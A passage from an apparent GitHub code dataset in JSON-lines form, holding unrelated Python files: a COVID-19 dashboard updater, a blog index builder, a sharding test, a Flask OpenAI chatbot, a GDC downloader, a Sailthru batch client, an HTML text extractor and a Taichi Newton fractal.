Update_Day(Country_selected=\"Poland\"):\n #chceck for last date in databse, assume\n d = models.Country.objects.latest(\"Date\").Date\n today = datetime.date.today().strftime('%m-%d-%Y')\n for single_date in pd.date_range(d+datetime.timedelta(days=1) , today):\n try:\n Country_Data = daily_report(single_date.strftime(\"%m-%d-%Y\"))\n Country_Data = pd.DataFrame(Country_Data)\n # old schema\n # Province / State, Country / Region, LastUpdate, Confirmed, Deaths, Recovered, Latitude, Longitude\n # new schema\n # FIPS, Admin2, Province_State, Country_Region, Last_Update, Lat, Long_, Confirmed, Deaths, Recovered, Active, Combined_Key\n if 'Country/Region' in Country_Data:\n Country_Data = Country_Data.rename(columns={'Country/Region': 'Country_Region'})\n for country in Country_Data['Country_Region'].unique():\n saveToDB(country, single_date, Country_Data)\n except:\n print(\"No such date\")\n\ndef saveToDB(country, single_date, Country_Data):\n Country_in = country\n Date_in = single_date.strftime(\"%Y-%m-%d\")\n data = Country_Data.loc[Country_Data['Country_Region'] == country]\n Dead_in = data.groupby([\"Country_Region\"]).sum()['Deaths'].values[0]\n Infected_in = data.groupby([\"Country_Region\"]).sum()['Confirmed'].values[0]\n Recoverd_in = data.groupby([\"Country_Region\"]).sum()['Recovered'].values[0]\n\n # populate whit data\n try:\n country = models.Country(Country=Country_in, Date=Date_in, Dead=Dead_in, Infected=Infected_in, Recovered=Recoverd_in)\n country.save()\n except:\n print(\"there was a problem with date or country in data popultaion\", single_date.strftime(\"%d-%m-%Y\"))\n\n\ndef Last_Update_Date():\n return models.Country.objects.last().Date\n\n# to be run in shell once\ndef Make_initail_Databese(Country_selected=\"Poland\", Start_date='03-14-2020'):\n today = datetime.date.today().strftime('%m-%d-%Y')\n for single_date in pd.date_range(Start_date, today):\n try:\n Country_Data = daily_report(single_date.strftime(\"%m-%d-%Y\"))\n Country_Data = pd.DataFrame(Country_Data)\n # old schema\n # Province / State, Country / Region, LastUpdate, Confirmed, Deaths, Recovered, Latitude, Longitude\n # new schema\n # FIPS, Admin2, Province_State, Country_Region, Last_Update, Lat, Long_, Confirmed, Deaths, Recovered, Active, Combined_Key\n if 'Country/Region' in Country_Data:\n Country_Data = Country_Data.rename(columns={'Country/Region': 'Country_Region'})\n\n Country_Data = Country_Data.loc[Country_Data['Country_Region'] == Country_selected]\n with pd.option_context('display.max_rows', None, 'display.max_columns', None):\n print(Country_Data)\n Country_in = Country_Data.loc[Country_Data[\"Country_Region\"] == Country_selected][\"Country_Region\"].values[\n 0]\n Date_in = single_date.strftime(\"%Y-%m-%d\")\n Dead_in = Country_Data.loc[Country_Data[\"Country_Region\"] == Country_selected][\"Deaths\"].values[0]\n Infected_in = Country_Data.loc[Country_Data[\"Country_Region\"] == Country_selected][\"Confirmed\"].values[0]\n Recoverd_in = Country_Data.loc[Country_Data[\"Country_Region\"] == Country_selected][\"Recovered\"].values[0]\n\n # populate whit data\n try:\n country = models.Country(Country=Country_in, Date=Date_in, Dead=Dead_in, Infected=Infected_in,\n Recoverd=Recoverd_in)\n country.save()\n except:\n print(\"there was a problem with date or country in data popultaion\", single_date.strftime(\"%d-%m-%Y\"))\n except:\n print(\"Sth gone wrong\")\n","repo_name":"skuam/COVID-19-Dashboard","sub_path":"database/preproces.py","file_name":"preproces.py","file_ext":"py","file_size_in_byte":4507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24793006663","text":"import os\nimport json\nimport argparse\nimport toml\nfrom functools import cmp_to_key\nfrom datetime import datetime\nfrom collections import defaultdict\nfrom parse import parse1, name2url\n\n\ndef writef(path, s):\n os.makedirs(os.path.dirname(path), exist_ok=True)\n with open(path, 'w') as f:\n f.write(s)\n\n\ndef check_config(cfg, t, path):\n required_fields = [\"title\", \"description\"]\n assert t in cfg, \\\n f\"Field '{t}' not found in {config_path}: \" \\\n f\"Required by {path}.\"\n for field in required_fields:\n assert field in cfg[t], \\\n f\"Field '{field}' of '{t}' not found in {config_path}: \" \\\n f\"Required by {path}\"\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"paths\", nargs='+',\n help=\"paths to markdown articles\")\n parser.add_argument(\"--config\", required=True,\n help=\"path to config.toml\")\n parser.add_argument(\"--output\", required=True,\n help=\"output directory\")\n args = parser.parse_args()\n\n paths, output_dir, config_path = args.paths, args.output, args.config\n\n categories = defaultdict(dict)\n\n tag_list = defaultdict(list)\n category_list = defaultdict(list)\n archive_list = defaultdict(list)\n\n def add_category_nav(path, meta):\n assert path.startswith(\"docs/\")\n dirs = path[5:].split('/')\n if len(dirs) == 1:\n categories[meta[\"title\"]] = \"/\" + path[:-3]\n return None\n\n elif len(dirs) == 2:\n categories[dirs[0]][meta[\"title\"]] = \"/\" + path[:-3]\n return None\n\n else:\n categories[dirs[0]][dirs[1]] = f\"/categories/{dirs[1]}\"\n return dirs[1]\n\n with open(config_path, 'r') as f:\n cfg = toml.loads(f.read())\n\n for path in paths:\n assert path.startswith(\"docs/\")\n assert path.endswith(\".md\")\n\n meta = parse1(path, parse_content=False)\n\n c = add_category_nav(path, meta)\n\n year = datetime.fromisoformat(meta[\"created_at\"]).year\n archive_list[year].append(meta)\n\n if c:\n check_config(cfg, c, path)\n category_list[c].append(meta)\n\n for t in meta[\"tags\"]:\n check_config(cfg, t[\"name\"], path)\n tag_list[t[\"name\"]].append(meta)\n\n category_nav = [\n {\"name\": k, \"to\": v} if type(v) == str else\n {\"name\": k, \"children\":\n sorted([{\"name\": name, \"to\": to} for name, to in v.items()],\n key=lambda i: i[\"name\"])}\n for k, v in categories.items()]\n\n tag_nav = [\n {\"name\": t, \"cnt\": len(items), \"to\": name2url(t, prefix=\"/tags/\")}\n for t, items in tag_list.items()\n ]\n\n archive_nav = [\n {\"name\": t, \"cnt\": len(items), \"to\": f\"/archives/{t}\"}\n for t, items in archive_list.items()\n ]\n\n def cate_cmp(lhs, rhs):\n if \"children\" in lhs and \"children\" not in rhs:\n return -1\n elif \"children\" in rhs and \"children\" not in lhs:\n return 1\n elif \"children\" in lhs and \"children\" in rhs:\n if lhs[\"name\"] < rhs[\"name\"]:\n return -1\n elif lhs[\"name\"] == rhs[\"name\"]:\n return 0\n else:\n return 0\n else:\n if lhs[\"name\"] < rhs[\"name\"]:\n return -1\n elif lhs[\"name\"] == rhs[\"name\"]:\n return 0\n else:\n return 1\n\n category_nav.sort(key=cmp_to_key(cate_cmp))\n tag_nav.sort(key=lambda i: i[\"cnt\"], reverse=True)\n archive_nav.sort(key=lambda i: i[\"name\"])\n\n def dump1(path, data):\n path = os.path.join(output_dir, path)\n data = json.dumps(data, ensure_ascii=False, indent=2)\n writef(path, data)\n\n dump1(\"tags.json\", tag_nav)\n dump1(\"categories.json\", category_nav)\n dump1(\"archives.json\", archive_nav)\n\n for t, items in tag_list.items():\n items.sort(key=lambda i: i[\"created_at\"], reverse=True)\n title, desc = cfg[t][\"title\"], cfg[t][\"description\"]\n uname = name2url(t)\n dump1(f\"tags/{uname}.json\", {\"name\": title, \"description\": desc,\n \"items\": items, \"url\": f\"/tags/{uname}\"})\n\n for t, items in category_list.items():\n items.sort(key=lambda i: i[\"created_at\"], reverse=True)\n title, desc = cfg[t][\"title\"], cfg[t][\"description\"]\n dump1(f\"categories/{t}.json\",\n {\"name\": title, \"description\": desc,\n \"items\": items, \"url\": f\"/categories/{t}\"})\n\n for t, items in archive_list.items():\n items.sort(key=lambda i: i[\"created_at\"], reverse=True)\n dump1(f\"archives/{t}.json\", {\"name\": t, \"items\": items,\n \"url\": f\"/archives/{t}\"})\n","repo_name":"Hongqin-Li/blog","sub_path":"scripts/parse_extra.py","file_name":"parse_extra.py","file_ext":"py","file_size_in_byte":4817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"17670354793","text":"from collections import OrderedDict\nfrom core import sharding_map_generator\nimport json\nimport os\nimport tempfile\nimport unittest\n\n\nclass TestShardingMapGenerator(unittest.TestCase):\n\n def _init_sample_timing_data(self, times):\n timing_data = OrderedDict()\n timing_list = []\n all_stories = {}\n for i in range(len(times)):\n all_stories['benchmark_' + str(i)] = []\n story_times = times[i]\n for j in range(len(story_times)):\n all_stories['benchmark_' + str(i)].append('story_' + str(j))\n timing_data['benchmark_' + str(i) + '/' + 'story_' + str(j)] = (\n story_times[j])\n timing_list.append({\"run_time\": story_times[j],\n \"run_name\": 'benchmark_' + str(i) + '/' + 'story_' + str(j)})\n return timing_data, all_stories, timing_list\n\n def testGenerateAndTestShardingMap(self):\n timing_data, all_stories, timing_list = self._init_sample_timing_data(\n [[60, 56, 57], [66, 54, 80, 4], [2, 8, 7, 37, 2]])\n\n sharding_map = sharding_map_generator.generate_sharding_map(\n timing_data, all_stories, 3)\n fd_map, map_path = tempfile.mkstemp(suffix='.json')\n fd_test_data, test_path = tempfile.mkstemp(suffix='.json')\n try:\n with os.fdopen(fd_map, 'w') as f:\n json.dump(sharding_map, f)\n with os.fdopen(fd_test_data, 'w') as f:\n json.dump(timing_list, f)\n results = sharding_map_generator.test_sharding_map(map_path, test_path)\n self.assertEqual(results['0'], 173)\n self.assertEqual(results['1'], 120)\n self.assertEqual(results['2'], 140)\n finally:\n os.remove(map_path)\n os.remove(test_path)\n","repo_name":"tigercosmos/labium","sub_path":"tools/perf/core/sharding_map_generator_unittest.py","file_name":"sharding_map_generator_unittest.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"39550559250","text":"from flask import Flask, render_template, request, jsonify\nimport json\nfrom base import *\nimport openai\nimport os, sys\nimport json\nimport numpy as np\n\n\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/send_message', methods=['POST'])\ndef send_message():\n global chat_exemplars, n_hist, history, M, thresh, intentKnown\n message = request.form['message']\n x = get_embedding(message)\n\n resonance = x.dot(M)\n if np.max(resonance) > thresh:\n recollection = history[np.argmax(resonance)]\n else:\n recollection = \"\"\n\n if False:\n #if (not intentKnown):\n intent, ps, toks = probeGPT(messages=intent_check_exemplars + [{'role':'user', 'content':message}], model=model_map['ChatGPT'], temp=0)\n print(intent)\n if intent in ['intro', 'configuration']:\n intentKnown = True\n instructions = docs[intent]\n header = '''You work for Unforgettable.me a private data-aggregation service that places the value of data in the hands of the user. Your job is to greet new participants and help them get started with the app. Use your notes to respond to the input step-by-step. You are a Chatbot that helps visitors to the Unforgettable.me website get started. ''' + instructions + '''General: Ask the user to reply after each step to give them the next step and tell them to ask you if they need more help'''\n\n chat_exemplars = [{'role':'system', 'content':header}]\n response = \"Great! I know how to help you with that. \" + docs[intent]\n else:\n response = \"I'm sorry, I don't know how to help you with that. Please provide me more information about what you need help with.\"\n\n #if (not intentKnown):\n # resp_text, ps, toks = probeGPT(messages=intent_exemplars, model=model_map['ChatGPT'], temp=0.7) \n #else:\n if True:\n print(len(chat_exemplars))\n #print(\"Recollection: \", recollection )\n chat_exemplars.append({'role':'user', 'content': message})\n # Process the message and generate a response\n resp_text, ps, toks = probeGPT(messages=chat_exemplars, model=model_map['ChatGPT'], temp=0.1)\n chat_exemplars.append({'role':'assistant', 'content': resp_text})\n #mem = \"User: \" + message + \"\\nBot: \" + resp_text + \"\\n\"\n #history.append(mem) \n #M[:, n_hist] = get_embedding(mem)\n\n response = resp_text#f\"You said: {message}\"\n return jsonify({'response': response})\n\n\nwith open(\"rsc/fun.dat\", \"r\") as f:\n key = f.read().strip()\nopenai.api_key = key\n\nwith open(\"config.json\", \"r\") as f:\n config = json.loads(f.read())\n\n\ndoc_files = os.listdir(config['out_path'] + 'docs/')\ndocs, doc_tags = load_docs(doc_files, config['out_path'] + 'docs/')\n\nn_hist = 1\nhistory = ['']\nM = np.zeros((1536, 10000)) # conversation memory\n\nthresh = 0.5\ninput_text = \"Hello.\"\n\ndoc_tag = sys.argv[1]\n\ninstructions = docs[doc_tag]\n\nheader_intent = \"You work for Unforgettable.me a private data-aggregation service that places the value of data in the hands of the user. Your job is to greet new participants and find out what they need help with. If they haven't registered yet, downloaded the app, and logged in, then they need the introductory guides. If they have, then they need help with configuration.\"\nheader_intent_check = \"Your job is to help the program know the user's intent. If the user needs help getting registered and download the app, then their intent is 'intro'. If the participant needs to configure the settings on the app of phone, then their intent is 'configuration'. Your job is to see their message and provide a single word response: either 'intro', 'configuration', or 'unknown' if you do not know the user's intent. Respond with a single word.\"\n\nintent_exemplars = [{'role':'system', 'content': header_intent}]\nintent_check_exemplars = [{'role':'system', 'content': header_intent_check}]\n\nheader = '''Your name is Chester. You work for Unforgettable.me a private data-aggregation service that places the value of data in the hands of the user. Your job is to greet new participants and help them get started with the app. Use your notes to respond to the input step-by-step. You are a Chatbot that helps visitors to the Unforgettable.me website get started. ''' + instructions + '''General: Ask the user to reply after each step to give them the next step and tell them to ask you if they need more help'''\n\nchat_exemplars = [{\"role\": \"system\", \"content\": header}] #+ chat_exemplars\nintentKnown = False\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n","repo_name":"complex-human-data-hub/UnforgettableChat","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":4616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74434729959","text":"import logging\nimport re\nimport time\nimport sys\nimport os\nfrom Crypto.Hash import MD5\n\n\ncdir = os.path.dirname(os.path.realpath(__file__))\nsys.path.append(os.path.dirname(cdir))\n\nfrom gdc_client import gdc_client\nfrom download_tool.download.DownloadError import DownloadError\nfrom download_tool.download.download_error_handler import download_error_handler\nfrom cml.cml_validator import *\nfrom config import *\n\nlogger = logging.getLogger(\"download_tool\")\n\n# create console handler with a higher log level\nefh = logging.FileHandler('download_error.log')\nefh.setLevel(logging.INFO)\nch = logging.StreamHandler()\nch.setLevel(logging.WARNING)\n# create formatter and add it to the handlers\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\nefh.setFormatter(formatter)\nch.setFormatter(formatter)\n# add the handlers to the logger\nlogger.addHandler(efh)\nlogger.addHandler(ch)\n\n\nDELIM = \"\\t\"\nI_ID = 0\nI_FILENAME = 1\nI_MD5_SUM = 2\nI_SIZE = 3\nI_STATE = 4\n\nSVS_EXTENSION = \"svs\"\nTGCA_PREFIX = \"TGCA\"\nGBM = \"GBM\"\nLGG = \"LGG\"\n\n\ndef setup_output_dir(path):\n if not os.path.exists(path):\n os.makedirs(path)\n elif os.path.isfile(path):\n logger.critical(\"Can't create output directory for downloaded files.\")\n exit(os.EX_CANTCREAT)\n\n\ndef setup_progress_log(path):\n if os.path.exists(path) and os.path.isdir(path):\n logger.critical(\n \"Cannot create progress log. Path already exists and it is a directory.\"\n )\n exit(os.EX_CANTCREAT)\n elif not os.path.exists(path):\n with open(path, \"a\") as f:\n return\n\ndef setup_download_failure_log(path):\n if os.path.exists(path) and os.path.isdir(path):\n logger.critical(\n \"Cannot create failure log. Path already exists and it is a directory.\"\n )\n exit(os.EX_CANTCREAT)\n elif not os.path.exists(path):\n with open(path, \"a\") as f:\n return\n\nif __name__ == \"__main__\":\n # Read in command line arguments and validate\n cml_validator()\n\n # Read in config and do some basic validating\n try:\n conf = load_config(sys.argv[I_CML_CONFIG_FILE], v_mandate_fields)\n except (KeyError, FileNotFoundError) as e:\n print(f\"Bad config: {repr(e)}\", file=sys.stderr)\n exit(os.EX_CONFIG)\n\n # output directory for downloaded files\n setup_output_dir(conf[OUTPUT_DIR])\n setup_progress_log(conf[PROGRESS_LOG])\n\n gdc = gdc_client()\n\n finished = False\n while not finished:\n # skip to line in manifest we are up to\n last_id = \"\"\n with open(conf[PROGRESS_LOG], \"r\") as f:\n lns = f.readlines()\n if len(lns) > 0:\n last_id = lns[-1].split(\",\")[0]\n \n\n\n try:\n with open(sys.argv[I_CML_MANIFEST_FILE], \"r\") as f:\n if last_id:\n found = False\n while not found:\n ln = f.readline()\n if ln.split(DELIM)[0] == last_id:\n found = True\n\n with open(conf[PROGRESS_LOG], \"a\") as p:\n for ln in f:\n ln = ln.strip()\n logger.info(\"Manifest line read: %s\", ln)\n sln = ln.split(DELIM)\n if len(ln) < 3:\n logger.warning(\n \"Unexpected data format: Split line has length: %s, expected length of 4. Line was: %s\",\n len(sln),\n ln,\n )\n continue\n\n try:\n # output dir\n out_path = conf[OUTPUT_DIR]\n\n #this is false when this script is used for predict_manifest.\n if conf[MIMIC_GDC_FOLDERS]:\n # object dir\n out_path = os.path.join(out_path, sln[I_ID])\n if not os.path.exists(out_path) and not os.path.isdir(out_path):\n print(out_path)\n os.mkdir(out_path)\n\n out_path = os.path.join(out_path, sln[I_FILENAME])\n # download data as a stream to limit RAM usage\n gdc.stream_download_file(sln[I_ID], sln[I_MD5_SUM], out_path, conf[CHUNK_SIZE])\n \n # write the file details to the progress log\n p.write(sln[I_ID] + \",\" + out_path + \"\\n\")\n \n\n except DownloadError as e:\n logger.exception(repr(e))\n download_error_handler(conf[FAILURE_LOG], ln)\n \n finished = True\n except IOError as e:\n logging.critical(f\"Can't open critical file. {repr(e)}\")\n print(f\"Can't open critical file. {repr(e)}\", file=sys.stderr)\n exit(os.EX_IOERR)\n \n except Exception as e:\n logging.exception(repr(e))\n time.sleep(120)\n continue\n\n","repo_name":"tharencandi/undergrad_capstone","sub_path":"src/download_tool/download_script.py","file_name":"download_script.py","file_ext":"py","file_size_in_byte":5287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21051047363","text":"import pathlib\r\nfrom menu import Menu\r\nimport simpleaudio\r\nfrom data_base import Db\r\nclass MenuMain(Menu): # MenuMain inheriting Menu\r\n APPLAUSE = simpleaudio.WaveObject.from_wave_file(pathlib.Path(\"./Soundss/applause.wav\").__str__())\r\n \r\n # help_menu: MenuHelp\r\n def __init__(self) -> None:\r\n super().__init__(options=[\r\n { \"description\": \"add teacher\", \"action\": self.createTeacherData}, # done\r\n { \"description\": \"addStudent\", \"action\": self.createStudentData },# done\r\n { \"description\": \"addGrade\", \"action\": self.insertNewGrade },# done \r\n { \"description\": \"Top student \", \"action\": self.PrintTopStudents },# done\r\n ])\r\n self.Db = Db()\r\n return None\r\n \r\n def applause(self) -> None: # to play applause sound\r\n print(\"Congratulations!\")\r\n play_obj = self.APPLAUSE.play()\r\n play_obj.wait_done()\r\n return None\r\n \r\n def createStudentData(self) -> None: \r\n print(\"Insert student details:\")\r\n first_name = input(\"First name: \")\r\n last_name = input(\"Last name: \")\r\n birth_date = (input(\"Date of birth: \"))\r\n student_data = (first_name, last_name, birth_date,) \r\n self.Db.addStudent(student_data)\r\n return None\r\n \r\n def createTeacherData(self) -> None: \r\n print(\"Insert Teacher details:\")\r\n TeacherName = input(\"Enter teacher name: \")\r\n self.Db.addteacher(TeacherName)\r\n return None\r\n \r\n def createStudentGrade(self) -> None:\r\n print(\"Insert student grade:\")\r\n course_name = input(\"Course name: \")\r\n teacher_id = (input(\"Teacher mame: \"))\r\n student_id = (input(\"Student id: \"))\r\n course_grade = float(input(\"Course grade: \"))\r\n course_date = float(input(\"Course date: \"))\r\n student_grade = (course_name, teacher_id, student_id, course_grade, course_date,) \r\n return student_grade\r\n \r\n\r\n \r\n def insertNewGrade(self) -> None: \r\n print(\"Insert grade details:\")\r\n course_name = input(\"Course name: \")\r\n while True:\r\n teacher_Name = input(\"Teacher Name: \")\r\n teacher_data = self.Db.getteacher(teacher_Name)\r\n if teacher_data is not None:\r\n break\r\n else:\r\n print(\"teacher dosent exsist try again.\")\r\n \r\n while True:\r\n\r\n student_firstName = input(\"Student first Name: \")\r\n student_lastname = input(\"student last name: \")\r\n student_data = self.Db.getstudents(student_firstName,student_lastname)\r\n \r\n \r\n if student_data is not None:\r\n break\r\n else:\r\n print(\"student dosent exisit try again.\")\r\n \r\n \r\n grade = float(input(\"Course grade: \"))\r\n \r\n student_new_grade = (course_name, teacher_data[0], student_data[0], grade,) \r\n self.Db.addStudentGrade(student_new_grade)\r\n return None\r\n \r\n def PrintTopStudents(self) -> None:\r\n while True:\r\n course_name=input(\"course name: \")\r\n max_grade1 = self.Db.getTopStudent(course_name)\r\n if max_grade1 is not None:\r\n break \r\n else:\r\n print(\"wrong course name\")\r\n student = self.Db.get_student_byID(max_grade1[0])\r\n print(f\"The top grade: {max_grade1[1]} belongs to {student[1]} {student[2]}\")\r\n self.applause()\r\n \r\n ","repo_name":"Mohamed2022t/python-","sub_path":"menu_main.py","file_name":"menu_main.py","file_ext":"py","file_size_in_byte":3504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43546712961","text":"from __future__ import print_function\n\nimport datetime\nfrom decimal import Decimal\nimport json\nimport logging\nimport tempfile\n\nfrom dateutil.parser import parse as date_parse\nfrom sailthru.sailthru_client import (\n SailthruClient as SailthruClientBase,\n get_signature_hash,\n)\n\nfrom django.conf import settings\nfrom django.utils import timezone\n\nfrom marketplace.models import Country\n\nfrom mailing_lists.constants import BatchStatus\nfrom mailing_lists.integrations.sailthru import SailthruError, ApiKeyNotSet\n\nlogger = logging.getLogger(__name__)\n\n\nclass ExportFailed(SailthruError):\n pass\n\n\nclass PollFailed(SailthruError):\n pass\n\n\ndef _encoder_default(obj):\n encoders = [\n ((datetime.date, datetime.datetime), lambda date: date.isoformat()),\n (Country, lambda country: country.title),\n (Decimal, lambda number: str(number)),\n ]\n for types, encoder in encoders:\n if isinstance(obj, types):\n return encoder(obj)\n raise TypeError(\"Unable to serialise {}!\".format(repr(obj)))\n\n\nclass SailthruClient(SailthruClientBase):\n\n def _prepare_json_payload(self, data):\n payload = {\n 'api_key': self.api_key,\n 'format': 'json',\n 'json': json.dumps(data, default=_encoder_default),\n }\n signature = get_signature_hash(payload, self.secret)\n payload['sig'] = signature\n return payload\n\n\nclass BatchJobAPI(object):\n\n def __init__(self, provider):\n if provider != \"sailthru\":\n raise NotImplementedError(\"Only Sailthru implemented at present\")\n if settings.SAILTHRU_API_KEY in [None, '']:\n raise ApiKeyNotSet()\n self.api = SailthruClient(\n settings.SAILTHRU_API_KEY, settings.SAILTHRU_API_SECRET)\n\n def submit_job(self, job, json_output=None):\n with tempfile.NamedTemporaryFile(suffix=\".txt\") as fh:\n for item in job.get_data():\n subscribe = item.pop(\"subscribe\", True)\n try:\n st_item = {\n \"email\": item.pop(\"email\"),\n \"lists\": item.pop(\"lists\"),\n \"vars\": item,\n }\n except KeyError:\n continue\n json_data = json.dumps(st_item, default=_encoder_default)\n print(json_data, file=fh)\n if json_output:\n print(json_data, file=json_output)\n fh.seek(0)\n response = self.api.api_post(\"job\", {\n \"job\": \"update\",\n # This looks a bit weird, but it's how the sailthru library\n # works\n \"file\": fh.name,\n }, [\"file\"])\n if not response.is_ok():\n error = response.get_error()\n raise ExportFailed(error.message, error.code)\n data = response.response.json\n # Sometimes we just get {'job': 'update'} from the backend\n # Other times we get {u'status': u'pending', u'update': [],\n # u'job_id': u'something', u'name': u'Bulk Update'}\n # Dunno why...\n job.status = BatchStatus.from_api_text(data.get(\"status\", \"pending\"))\n job.remote_id = data.get('job_id')\n job.submitted = timezone.now()\n job.save()\n\n def check_status(self, job):\n response = self.api.api_get(\"job\", {\"job_id\": job.remote_id})\n if not response.is_ok():\n error = response.get_error()\n raise PollFailed(error.message, error.code)\n data = response.response.json\n job.status = BatchStatus.from_api_text(data[\"status\"])\n if \"start_time\" in data and data[\"start_time\"]:\n # TODO: Is this wasteful? We should keep the start time the same\n # between local and remote...\n job.submitted = date_parse(data[\"start_time\"])\n if \"end_time\" in data and data[\"end_time\"]:\n job.completed = date_parse(data[\"end_time\"])\n job.save()\n return job.status\n","repo_name":"codeadict/ecomarket","sub_path":"apps/mailing_lists/batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"15526699270","text":"#/usr/bin/pyhton3\n\nfrom requests import get\nfrom bs4 import BeautifulSoup, element, NavigableString\nimport re\n#html = \"https://tasty.co/recipe/apple-pie-from-scratch\"\n#response = get(html).text\nprint(\"Gotten response\")\n\nf = open(\"/home/marc/Documents/python/waterrecipe/pages/tasty.co.html\")\n\nprint(\"Finished parsing\")\n\ndef tag_visible(elem):\n\tif elem.parent.name in ['style', 'script', 'head', 'title', 'meta', '[document]', 'article']:\n\t\treturn 0 \n\tif isinstance(elem, element.Comment):\n\t\treturn 0\n\tif elem == \"\\n\" or elem.strip() == \"\":\n\t\treturn 0\n\treturn 1\n\ndef applyFormatting(elem):\n\t# formatting\n\telem = re.sub(\" +\", \" \", elem)\n\treturn elem\n\ndef text_from_html(body):\n\tsoup = BeautifulSoup(body, 'html.parser')\n\ttexts = soup.findAll(text=True)\n\tvisible_texts = map(applyFormatting, filter(tag_visible, texts)) \n\treturn [t.strip() for t in visible_texts]\n\nprint(text_from_html(f))\n\n#\tfor found in founds:\n#\tif type(found) is element.Tag and \"ingredient\" in str(found.attrs):\n##\t\tprint(found)\n#\t\tfor child in found.descendants:\n#\t\t\tif type(child) is NavigableString and child != \"\\n\":\n#\t\t\t\tprint(child)\n","repo_name":"wenzlawski/py-recipe-extractor","sub_path":"htmltotext.py","file_name":"htmltotext.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"22682273953","text":"import taichi as ti\nimport numpy as np\nfrom mandelbrot import MAX_ITER\n\n\n\nti.init(arch=ti.gpu,default_fp=ti.f64)\n\nn = 1000\nEPS=0.000001\nMAX_ITER=40\n\nSHAPE_SCENE = (n,n)\n\npixels = ti.Vector.field(3, dtype=ti.f64, shape=SHAPE_SCENE)\ngui = ti.GUI(\"Newton's Fractal\", res=SHAPE_SCENE)\n\n\n@ti.func\ndef complex_sqr(z):\n return ti.Vector([z[0]**2 - z[1]**2, z[1] * z[0] * 2])\n@ti.func\ndef complex_cube(z):\n return ti.Vector([z[0]**3 - 3*z[0]*z[1]**2, 3*z[0]**2*z[1] - z[1]**3])\n@ti.func\ndef complex_divide(z, w):\n # return z / w, z and w complex vectors\n return ti.Vector([(z[0]*w[0] + z[1]*w[1])/(w[0]**2 + w[1]**2), (z[1]*w[0] - z[0]*w[1])/(w[0]**2 + w[1]**2)])\n# polynomials\n@ti.func\ndef pz(z):\n return complex_cube(z) - ti.Vector([1.0,0.0])\n@ti.func \ndef dpz(z):\n return 3.0*complex_sqr(z)\n@ti.func\ndef newton_method(z):\n return complex_divide(pz(z),dpz(z))\n@ti.func\ndef complex_abs(z):\n return ti.sqrt(z[0]**2 + z[1]**2)\n\n\n# 3 complex roots of x^3 - 1 = 0\nroots = ti.Matrix([[1.0, 0.0], [-0.5, 0.86603],[-0.5, -0.86603]])\n\n\ncolor_root_from_index = {0: ti.Vector([0,0,255]),\n 1: ti.Vector([0,255,0]),\n 2: ti.Vector([255,0,0]),\n 3: ti.Vector([0,0,0])}\n\ncolor_root_1 = ti.Vector([0,0,255])\ncolor_root_2 = ti.Vector([0,255,0])\ncolor_root_3 = ti.Vector([255,0,0])\ncolor_root_4 = ti.Vector([255,255,255])\n\n\n\n@ti.kernel\ndef test(t: float):\n for _ in range(1):\n #test complex cube (result is (-81,-52))\n print(complex_cube(ti.Vector([3,-3.45]))-ti.Vector([1.0,0.0]))\n # text complex sqr (result is (-8.70,-62.1))\n print(3*complex_sqr(ti.Vector([3,-3.45])))\n # test complex divide (result is (-1.11,0.0111))\n print(complex_divide(ti.Vector([3.3,-3.4]), ti.Vector([-3.0,3.0])))\n\n roots = ti.Matrix([[1.0, 0.0], [-0.5, 0.86603],[-0.5, -0.86603]])\n z = ti.Vector([2.0,3.3])\n z = ti.cast(z, ti.f64)\n for o in ti.static(range(10)):\n z = z - newton_method(z)\n print(z)\n for ii in ti.static(range(3)):\n root = ti.Vector([roots[ii,0],roots[ii,1]])\n print((z - root).norm(), EPS)\n if complex_abs(z-root) < EPS:\n print(ii,z,color_root_from_index[ii],'EAE')\n \n@ti.kernel\ndef test_paint(t: float):\n for i,j in pixels: # Parallelized over all pixels\n coords = [((i*3.0) / n) - 2.0, ((j*3.0) / n) -1.5]\n if(i==0 and j==0):\n print(i,j,coords)\n if(i==n-1 and j==n-1):\n print(i,j,coords)\n \n@ti.kernel\ndef paint(t: float):\n for i, j in pixels: # Parallelized over all pixels\n c = ti.Vector([-0.66* ti.sin(t), ti.cos(t) * 0.02])\n z = ti.Vector([((i*3.0) / n) -2.0, ((j*3.0) / n) -1.5]) \n iterations = 0\n not_converged = True\n while not_converged: \n term = newton_method(z) + c \n z-=(term) \n not_converged = complex_abs(term) > EPS\n iterations += 1\n if(iterations > MAX_ITER):\n break\n if not not_converged:\n \n min = complex_abs(z-ti.Vector([roots[0,0],roots[0,1]]))\n index = 0\n if complex_abs(z-ti.Vector([roots[1,0],roots[1,1]])) < min:\n min = complex_abs(z-ti.Vector([roots[1,0],roots[1,1]]))\n index = 1\n if complex_abs(z-ti.Vector([roots[2,0],roots[2,1]])) < min:\n min = complex_abs(z-ti.Vector([roots[2,0],roots[2,1]]))\n index = 2\n\n #print(z,iterations, min)\n # WHAT THE FUCK IS THIS\n\n if index==0:\n pixels[i, j] = color_root_1 * ((MAX_ITER-iterations*0.10)/MAX_ITER) \n elif index==1:\n pixels[i, j] = color_root_2 * ((MAX_ITER-iterations*0.10)/MAX_ITER)\n elif index==2:\n pixels[i, j] = color_root_3 * ((MAX_ITER-iterations*0.10)/MAX_ITER)\n\n else:\n pixels[i,j] = color_root_4 * 